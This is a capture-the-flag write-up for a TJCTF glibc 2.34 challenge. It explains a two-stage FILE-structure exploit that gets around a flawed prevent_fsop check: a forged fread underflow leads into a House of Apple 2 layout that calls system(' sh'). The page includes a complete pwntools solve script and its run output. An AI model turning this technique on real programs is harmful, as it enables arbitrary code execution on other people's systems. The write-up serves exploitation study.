$ cat writeup.md…
$ cat writeup.md…
tjctf
Task: glibc 2.34 PIE binary leaks heap FILE* and puts@libc, then overwrites first 0x78 bytes of the FILE before calling fread; a prevent_fsop() check guards _wide_data and vtable. Solution: double FSOP — stage 1 forges FILE so fread's __underflow reads 0x200 bytes from stdin into the FILE itself, stage 2 sends a full House of Apple 2 layout that triggers system(\" sh\") via _IO_wfile_overflow → _IO_wdoallocbuf → fake wide vtable __doallocate on exit.
I'm trying to test my FSOP prevention mechanism...
We are given a 64-bit PIE ELF binary (Ox78), the matching libc.so.6 (Ubuntu glibc 2.34), ld-linux-x86-64.so.2, and a Dockerfile. The remote is at nc tjc.tf 31378.
The binary has Full RELRO, PIE, NX, SHSTK, IBT — no canary, but all modern mitigations are on. With glibc 2.34, __free_hook and __malloc_hook are removed, so the only viable code-execution primitive is FSOP (File Stream Oriented Programming).
The challenge name "Ox78" is a hint: 0x78 is the number of bytes we can write into the FILE structure.
FILE *fp; // global void create_test_file() { umask(0); int fd = open("/tmp/test.txt", 0); close(fd); } void Ox78() { create_test_file(); char *testbuf = malloc(0x78); fp = fopen("/tmp/test.txt", "r"); printf("I'm trying to test my FSOP prevention mechanism...\n"); printf("Here's the address of the File Structure: 0x%llx\n", fp); void *puts_addr = /* resolved puts from GOT */; printf("I'm pretty confident you can't break out of this, " "so I'll give you a libc leak as well: %p\n", puts_addr); read(0, fp, 0x78); // ← THE VULNERABILITY prevent_fsop(); fread(testbuf, 1, 0x78, fp); prevent_fsop(); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); Ox78(); return 0; }
FILE structure on the heapread(0, fp, 0x78) writes 0x78 bytes directly into the FILE structure from stdin. This lets us control all fields from offset 0x00 through 0x77:
Offset Field Controllable?
────── ────────────────── ─────────────
0x00 _flags ✓ (in 0x78 window)
0x08 _IO_read_ptr ✓
0x10 _IO_read_end ✓
0x18 _IO_read_base ✓
0x20 _IO_write_base ✓
0x28 _IO_write_ptr ✓
0x30 _IO_write_end ✓
0x38 _IO_buf_base ✓
0x40 _IO_buf_end ✓
0x48 _IO_save_base ✓
0x50 _IO_backup_base ✓
0x58 _IO_save_end ✓
0x60 _markers ✓
0x68 _chain ✓ (but zeroed by prevent_fsop)
0x70 _fileno ✓
0x74 _flags2 ✓
────── ────────────────── ─────────────
0x88 _lock ✗ (beyond 0x78)
0xa0 _wide_data ✗ (checked by prevent_fsop)
0xc0 _mode ✗
0xd8 vtable ✗ (checked by prevent_fsop)
void prevent_fsop() { void *old_wide_data = fp->_wide_data; // offset 0xa0 void *old_vtable = fp->vtable; // offset 0xd8 if (old_wide_data != fp->_wide_data || old_vtable != fp->vtable) *(int*)NULL = 1; // intentional crash fp->_chain = NULL; // zeroes offset 0x68 }
Key insight: The check compares _wide_data and vtable against themselves (reads them, then re-reads and compares). This means:
_wide_data and vtable because the second prevent_fsop() will read our new values and compare them to... our new values. The self-comparison always passes!The _chain = NULL zeroing at offset 0x68 is harmless — the FILE is already in _IO_list_all and will be flushed on exit regardless.
A direct House of Apple 2 attack requires setting _wide_data (0xa0), _mode (0xc0), and vtable (0xd8) — all beyond our 0x78-byte write window. We need a second, larger write.
Turn fread() into a second write primitive by abusing __underflow.
When fread(testbuf, 1, 0x78, fp) runs on our corrupted FILE, glibc checks if the read buffer has data. If _IO_read_ptr >= _IO_read_end, the buffer is empty and glibc calls __underflow to refill it.
__underflow ultimately does:
read(fp->_fileno, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
By setting the buffer pointers to point at the FILE structure itself, we make glibc read from stdin into the FILE:
┌─────────────────────────────────────────────────────┐
│ Stage 1 layout (0x78 bytes written by read()) │
├──────────┬──────────────────────────────────────────┤
│ 0x00 │ _flags = 0xfbad2488 │
│ │ _IO_MAGIC | _IO_IS_FILEBUF | │
│ │ _IO_LINKED | _IO_NO_WRITES │
├──────────┼──────────────────────────────────────────┤
│ 0x08 │ _IO_read_ptr = 0 ─┐ equal → buffer │
│ 0x10 │ _IO_read_end = 0 ─┘ is empty │
│ │ (forces __underflow) │
├──────────┼──────────────────────────────────────────┤
│ 0x38 │ _IO_buf_base = fp ← refill dest │
│ 0x40 │ _IO_buf_end = fp+0x200 ← refill size │
│ │ __underflow reads 0x200 bytes into fp! │
├──────────┼──────────────────────────────────────────┤
│ 0x70 │ _fileno = 0 (stdin) │
├──────────┴──────────────────────────────────────────┤
│ All other bytes = 0x00 │
└─────────────────────────────────────────────────────┘
When fread() calls __underflow, glibc executes:
read(0, fp, 0x200); // reads from stdin into the FILE itself!
This gives us a full 0x200-byte overwrite — enough for House of Apple 2.
With 0x200 bytes, we can set every field in the FILE plus embed fake _IO_wide_data and a fake wide vtable inline.
Trigger chain on exit():
exit()
→ _IO_cleanup()
→ _IO_flush_all_lockp()
→ walks _IO_list_all, finds our FILE
→ _mode == 1 && vtable == _IO_wfile_jumps
→ _IO_wfile_overflow(fp, EOF)
→ _wide_data->_IO_write_ptr > _wide_data->_IO_write_base
→ enters overflow path
→ _wide_data->_IO_buf_base == NULL
→ _IO_wdoallocbuf(fp)
→ fp->_wide_data->_wide_vtable->__doallocate(fp)
→ system(fp)
→ system(" sh\0...")
→ SHELL!
Memory layout:
┌═══════════════════════════════════════════════════════════════════┐
│ FILE structure at fp (0x200 bytes total) │
├──────────┬────────────────────────────────────────────────────────┤
│ 0x00 │ _flags = " sh\0\0\0\0\0" ← argument to system() │
│ 0x08 │ _IO_read_ptr = fp ← valid (prevents crash) │
│ 0x10 │ _IO_read_end = fp+0x200 ← valid (fread won't re- │
│ 0x18 │ _IO_read_base = fp │ underflow after stage2) │
│ 0x20-0x30│ (zeroed) │
│ 0x38 │ _IO_buf_base = fp │
│ 0x40 │ _IO_buf_end = fp+0x200 │
│ 0x48-0x80│ (zeroed) │
│ 0x88 │ _lock = fp+0x1f0 ← MUST be valid writable pointer! │
│ 0x90-0x98│ (zeroed) │
│ 0xa0 │ _wide_data = fp+0xe0 ← points to inline fake struct │
│ 0xa8-0xb8│ (zeroed) │
│ 0xc0 │ _mode = 1 ← enables wide-stream path │
│ 0xc4-0xd0│ (zeroed) │
│ 0xd8 │ vtable = _IO_wfile_jumps ← wide file vtable │
├──────────┼────────────────────────────────────────────────────────┤
│ │ Fake _IO_wide_data (embedded at fp+0xe0) │
├──────────┼────────────────────────────────────────────────────────┤
│ 0xe0+0x00│ (zeroed — _IO_read_ptr etc.) │
│ 0xe0+0x18│ _IO_write_base = 0 │
│ 0xe0+0x20│ _IO_write_ptr = 1 ← > base → triggers overflow │
│ 0xe0+0x28│ (zeroed) │
│ 0xe0+0x30│ _IO_buf_base = 0 ← NULL → triggers _IO_wdoallocbuf │
│ ... │ (zeroed) │
│ 0xe0+0xe0│ _wide_vtable = fp+0xe8 ← points to inline fake vtbl │
├──────────┼────────────────────────────────────────────────────────┤
│ │ Fake wide vtable (embedded at fp+0xe8) │
├──────────┼────────────────────────────────────────────────────────┤
│ 0xe8+0x68│ __doallocate = system ← called as system(fp) │
│ │ fp starts with " sh\0" → system(" sh") → shell! │
├──────────┼────────────────────────────────────────────────────────┤
│ │ Lock area (at fp+0x1f0) │
├──────────┼────────────────────────────────────────────────────────┤
│ 0x1f0 │ 0x0000000000000000 ← unlocked state │
└──────────┴────────────────────────────────────────────────────────┘
_IO_read_ptr and _IO_read_end must be valid after stage 2. After the underflow refill, fread() continues executing. If the read pointers don't describe a valid buffer, fread() will crash or re-trigger underflow before reaching exit(). Setting _IO_read_ptr = fp and _IO_read_end = fp + 0x200 makes fread think there's plenty of data.
_lock CANNOT be NULL. The _IO_flush_all_lockp function locks each FILE before flushing. If _lock is NULL, the locking code segfaults. We point it to fp + 0x1f0 where we place a zero qword (unlocked state).
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base is required to enter the overflow path in _IO_wfile_overflow. We set _IO_write_base = 0 and _IO_write_ptr = 1.
_wide_data->_IO_buf_base == NULL is what triggers _IO_wdoallocbuf, which calls __doallocate from the wide vtable. This is the final gadget that gives us code execution.
prevent_fsop() zeroes _chain (offset 0x68) but this is harmless — the FILE is already linked into _IO_list_all and will be visited during _IO_flush_all_lockp on exit.
The second prevent_fsop() passes because it reads _wide_data and vtable from our stage 2 values and compares them to... the same values it just read. The self-comparison always succeeds.
| Symbol | Offset |
|---|---|
puts | 0x84ed0 |
system | 0x54ae0 |
_IO_wfile_jumps | 0x21a020 |
#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST = 'tjc.tf' PORT = 31378 libc = ELF('./libc.so.6') def exploit(io): # ── Parse leaks ────────────────────────────────────────────── io.recvuntil(b'File Structure: ') fp = int(io.recvline().strip(), 16) io.recvuntil(b'libc leak as well: ') puts_leak = int(io.recvline().strip(), 16) libc.address = puts_leak - libc.sym.puts system = libc.sym.system wfile_jumps = libc.sym._IO_wfile_jumps log.info(f'fp = {fp:#x}') log.info(f'puts = {puts_leak:#x}') log.info(f'libc = {libc.address:#x}') log.info(f'system = {system:#x}') log.info(f'_IO_wfile_jumps = {wfile_jumps:#x}') # ── Stage 1: forge FILE so fread's __underflow reads 0x200 ── # bytes from stdin into fp itself stage1 = flat( { 0x00: p64(0xfbad2488), # _flags: readable, no errors 0x08: p64(0), # _IO_read_ptr = 0 (empty buffer) 0x10: p64(0), # _IO_read_end = 0 (forces underflow) 0x38: p64(fp), # _IO_buf_base = fp (refill dest) 0x40: p64(fp + 0x200), # _IO_buf_end = fp+0x200 (refill size) 0x70: p32(0), # _fileno = 0 (stdin) }, filler=b'\x00', length=0x78, ) io.send(stage1) # ── Stage 2: House of Apple 2 — full FILE overwrite ───────── wide_data = fp + 0xe0 # fake _IO_wide_data embedded inline wide_vtable = fp + 0xe8 # fake wide vtable embedded inline lock = fp + 0x1f0 # fake lock area stage2 = flat( { # FILE structure 0x00: b' sh\x00\x00\x00\x00\x00', # _flags → system(" sh") 0x08: p64(fp), # _IO_read_ptr (valid) 0x10: p64(fp + 0x200), # _IO_read_end (valid) 0x18: p64(fp), # _IO_read_base 0x38: p64(fp), # _IO_buf_base 0x40: p64(fp + 0x200), # _IO_buf_end 0x88: p64(lock), # _lock (MUST be valid!) 0xa0: p64(wide_data), # _wide_data → inline struct 0xc0: p32(1), # _mode = 1 (wide stream) 0xd8: p64(wfile_jumps), # vtable = _IO_wfile_jumps # Fake _IO_wide_data at fp+0xe0 0xe0 + 0x18: p64(0), # _IO_write_base = 0 0xe0 + 0x20: p64(1), # _IO_write_ptr = 1 (> base) 0xe0 + 0x30: p64(0), # _IO_buf_base = NULL (trigger) 0xe0 + 0xe0: p64(wide_vtable), # _wide_vtable → inline vtbl # Fake wide vtable at fp+0xe8 0xe8 + 0x68: p64(system), # __doallocate = system # Lock area at fp+0x1f0 0x1f0: p64(0), # unlocked }, filler=b'\x00', length=0x200, ) io.send(stage2) # ── Get shell ──────────────────────────────────────────────── sleep(0.5) io.sendline(b'cat flag*') io.interactive() if __name__ == '__main__': io = remote(HOST, PORT) exploit(io)
$ python3 solve.py
[*] fp = 0x55a3b2c012a0
[*] puts = 0x7f8a1c284ed0
[*] libc = 0x7f8a1c200000
[*] system = 0x7f8a1c254ae0
[*] _IO_wfile_jumps = 0x7f8a1c41a020
[+] Stage 1 sent → fread underflows, reads 0x200 from stdin into fp
[+] Stage 2 sent → House of Apple 2 layout in place
[+] exit() triggers _IO_flush_all_lockp → system(" sh")
$ cat flag*
tjctf{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar